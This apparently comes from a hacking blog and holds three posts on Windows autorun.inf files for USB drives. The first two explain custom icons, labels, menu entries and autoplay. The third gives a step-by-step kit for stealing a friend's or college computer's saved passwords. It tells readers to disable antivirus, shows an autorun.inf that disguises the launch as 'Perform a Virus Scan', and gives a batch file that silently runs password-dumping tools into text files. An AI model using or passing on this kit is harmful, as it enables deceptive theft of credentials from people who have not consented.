Showing posts with label USB Hacks. Show all posts
Showing posts with label USB Hacks. Show all posts
USB Scripting Tutorial
Hey guys, back after a long time. This time a simple trick for playing with your USB drives on your computers (Hackers cn think the same for others computers as well) .
The autorun.inf file is the key to getting your USB drive (or CD-ROM drive, for that matter) to perform certain actions automatically and customize it’s look in My Computer. The purpose of this article is to shed some light on how this can be done.
The autorun.inf file is a simple text file that can be opened up in any text editor (e.g. notepad). It always starts with a section header of:
Below this header is a list of different options. Each of these options is in the following format:
(Do not use
That is all there really is to understand about the structure of an autorun.inf file. On to doing some actual cool stuff with it!
To create a custom icon for your USB drive, use the
Note: Since drive letters can change for USB drives, the file path is relative to the root of the drive. This means that if your USB drive is presently mounted on U: and your icon is located at U:\Icons\MyIcon.ico, then you would enter \Icons\MyIcon.ico for the value of this option.
For example, if you had an icon on the root of the USB drive called coffeecup.ico and you wanted this to be the icon that showed up for the USB drive, you would enter:
You are not limited to .ico files. If, for example, you have an executable with a nice icon, you can specify it as the icon file. For example:
This is valid as long as DCoTopen.exe is available on the root of the USB drive.
Some files have more than one icon embedded in them. If this is the case, you can select which icon to use by specifing the index number after the file name. For example:
This will use the second icon in the iconlib.dll file.
If you would like your USB drive to display a specific name othr than the drive label created when it is formatted, use the
Now, when you look at your USB drive in My Computer, it will say DCoT Drive by the drive letter.
AutoPlay is a relatively new function of Windows XP. It allows you to set up what file is run when the USB drive is plugged into the computer and the message that you are prompted with. There are two options that work in conjunction with AutoPlay. The first is
The second option that we add is the message the user is prompted with. To set this, we use the
Once you have added this information, AutoPlay should look something like this:
There are certain basic options such as Open and Explore that are available when you right click on a USB drive. But, wouldn’t it be cool to add your own? You can using a couple of lines in the autorun.inf file.
The first thing that we need to do is create an action, give it a name, and a message. We do all of this using the
This will display Help! I’m Lost! in the context menu so that you can click on it. But, it doesn’t know what to do when you click on it. Tell the system by using
You can add as many of these line pairs as you want to make the context menu as custom as you want.
When you double click on your USB drive, by default it will open up the drive so that you can browse through the files. Often, it is advantageous to perform some other action when the user double clicks the USB drive icon. You do this with the
because lost is the name of the action that was specified in the earlier lines.
If you wanted to view a file on your USB drive in the default application instead of running a program on the drive, you can substitute the
This will work for any file. This is the equivalent of using Start - Run… and then typing in a file name and clicking OK.
I hope you get the tutorial.. give it a hand.. u wud find it damn useful. Do ask if any prob comes :)
Enjoy Hacking, Enjoy Hackton.
The autorun.inf file is the key to getting your USB drive (or CD-ROM drive, for that matter) to perform certain actions automatically and customize it’s look in My Computer. The purpose of this article is to shed some light on how this can be done.
Autorun.inf Structure
The autorun.inf file is a simple text file that can be opened up in any text editor (e.g. notepad). It always starts with a section header of:
[autorun]Below this header is a list of different options. Each of these options is in the following format:
option=value where option is the option that you want to set and value is the value that you are setting for that option. So, if you had an option foo and you wanted to be set to bar, then you would enter:foo=bar(Do not use
foo=bar in your autorun.inf file as it is only an example, not a real option setting.)That is all there really is to understand about the structure of an autorun.inf file. On to doing some actual cool stuff with it!
Setting a Custom Icon
To create a custom icon for your USB drive, use the
icon option. Set it to the name of the icon file.Note: Since drive letters can change for USB drives, the file path is relative to the root of the drive. This means that if your USB drive is presently mounted on U: and your icon is located at U:\Icons\MyIcon.ico, then you would enter \Icons\MyIcon.ico for the value of this option.
For example, if you had an icon on the root of the USB drive called coffeecup.ico and you wanted this to be the icon that showed up for the USB drive, you would enter:
icon=coffeecup.icoYou are not limited to .ico files. If, for example, you have an executable with a nice icon, you can specify it as the icon file. For example:
icon=DCoTopen.exeThis is valid as long as DCoTopen.exe is available on the root of the USB drive.
Some files have more than one icon embedded in them. If this is the case, you can select which icon to use by specifing the index number after the file name. For example:
icon=iconlib.dll,2Naming Your USB Drive
If you would like your USB drive to display a specific name othr than the drive label created when it is formatted, use the
label option. For example, if I wanted to call my drive DCoT Drive, I would add this to my autorun.inf file:label=DCoT DriveSetting AutoPlay Options
AutoPlay is a relatively new function of Windows XP. It allows you to set up what file is run when the USB drive is plugged into the computer and the message that you are prompted with. There are two options that work in conjunction with AutoPlay. The first is
open. It specifies the program that you can run automatically with AutoPlay. So, if we wanted to run a program called DCoTopen.exe, you would add the this to your autorun.inf file:open=DCoTopen.exeaction option. If we want the message to say DCoT Open Program, add the following to autorun.inf:action=DCoT Open ProgramOnce you have added this information, AutoPlay should look something like this:
Adding Context Menu Items
There are certain basic options such as Open and Explore that are available when you right click on a USB drive. But, wouldn’t it be cool to add your own? You can using a couple of lines in the autorun.inf file.
The first thing that we need to do is create an action, give it a name, and a message. We do all of this using the
shell\verb option. For example, let’s say that we would like to create an action called lost. It does not matter what the actin is called. It can be anything you want. We would also like to show the message Help! I’m Lost! in the context menu. We would simply add this line to autorun.inf:shell\lost=Help! I'm Lost!This will display Help! I’m Lost! in the context menu so that you can click on it. But, it doesn’t know what to do when you click on it. Tell the system by using
shell\verb\command option. In our example, we want to run the Lost.exe application. Adding this line will do the trick:shell\lost\command=Lost.exeChanging Default Action
When you double click on your USB drive, by default it will open up the drive so that you can browse through the files. Often, it is advantageous to perform some other action when the user double clicks the USB drive icon. You do this with the
shell option. If we wanted to run the Lost.exe program from the previous section automatically when we double clicked on the USB drive, we would add this line:shell=lostViewing a File
If you wanted to view a file on your USB drive in the default application instead of running a program on the drive, you can substitute the
open option for the shellexecute option. For example, if you wanted to open up a website called, oh, I don’t know, say http://www.hackplanet.in in the default web browser, you could user the following:shellexecute=http://www.hackplanet.in This will work for any file. This is the equivalent of using Start - Run… and then typing in a file name and clicking OK.
I hope you get the tutorial.. give it a hand.. u wud find it damn useful. Do ask if any prob comes :)
Enjoy Hacking, Enjoy Hackton.
10:38 AM by Shubham Mittal · 1
How To make An Autorun File For USB Drives
When you plug a USB drive in, you might be interested in making a program, or other things happen as soon as you plug in. The way you accomplish this is through the Autorun.inf file. The autorun.inf file is located in the root of the usb drive and tells Windows what to do automatically.
This autorun can be used to make good, or bad USB’s depending on what you like.
This tutorial covers:
Creating a USB Autorun.inf
Changing label\icon of thumbdrive
Making a new option appear in the autorun menu
Making programs automatically run when plugged in
So Read On...
Creating a USB Autorun.inf :
To create an autorun file, open Notepad and save ‘autorun.inf’’ (with quotes) and save it to the root of the drive. All it needs to have is in the first line;
[autorun]
Done!
[autorun]
Done!
Changing label\icon of thumbdrive:
Follow the steps in Creating a USB Autorun.inf. Before you save it, type this in in this order!
[autorun]
icon=myicon.ico
label=MyLabel
And save. Make sure the icon file is in the root of your drive.
[autorun]
icon=myicon.ico
label=MyLabel
And save. Make sure the icon file is in the root of your drive.
Making a new option appear in the autorun menu:
Right, so make your autorun file and type this into Notepad:
[autorun]
icon=default
label=[yourlabelhere]
action=programname.exe
Save it and exit. Once again, the program has to be in the root. Now, when you plug it in, the option should appear in the menu.
[autorun]
icon=default
label=[yourlabelhere]
action=programname.exe
Open Program
Save it and exit. Once again, the program has to be in the root. Now, when you plug it in, the option should appear in the menu.
Making programs automatically run when the USB is plugged in:
Follow the same instructions, blah blah blah;
[autorun]
Icon=default
label=YourLabelHere
open=programname.exe
[autorun]
Icon=default
label=YourLabelHere
open=programname.exe
And that’s it for this tutorial!
You can also follow these instructions when making a CD. You just have to burn it on the cd.
Any questions, please ask,a nd I’ll try to answer it as quickly as possible.
7:32 AM by Shubham Mittal · 1
Steal Your Friend's Password With USB Drive
As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passswords from their stored places. Using these tools and an USB pendrive you can create your own rootkit to hack passwords from your friend’s/college Computer. We need the following tools to create our rootkit.
MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.
Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.
IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 - v6.0
Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…
PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.
Here is a step by step procedre to create the password hacking toolkit.
NOTE: You must temporarily disable your antivirus before following these steps.
1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive.
ie: Copy the files - mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.
2. Create a new Notepad and write the following text into it
[autorun]
open=launch.bat
ACTION= Perform a Virus Scan
open=launch.bat
ACTION= Perform a Virus Scan
save the Notepad and rename it from
New Text Document.txt to autorun.inf
Now copy theautorun.inf file onto your USB pendrive.
3. Create another Notepad and write the following text onto it.
start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt
save the Notepad and rename it from
New Text Document.txt to launch.bat
Copy the launch.bat file also to your USB drive.
Now your rootkit is ready and you are all set to hack the passwords. You can use this pendrive on your friend’s PC or on your college computer. Just follow these steps
1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).
2. In the pop-up window, select the first option (Perform a Virus Scan).
3. Now all the password hacking tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.
4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.
This hack works on Windows 2000, XP,Vista and 7
NOTE: This procedure will only recover the stored passwords (if any) on the Computer.
9:57 AM by Shubham Mittal · 7
Subscribe to:
Posts (Atom)

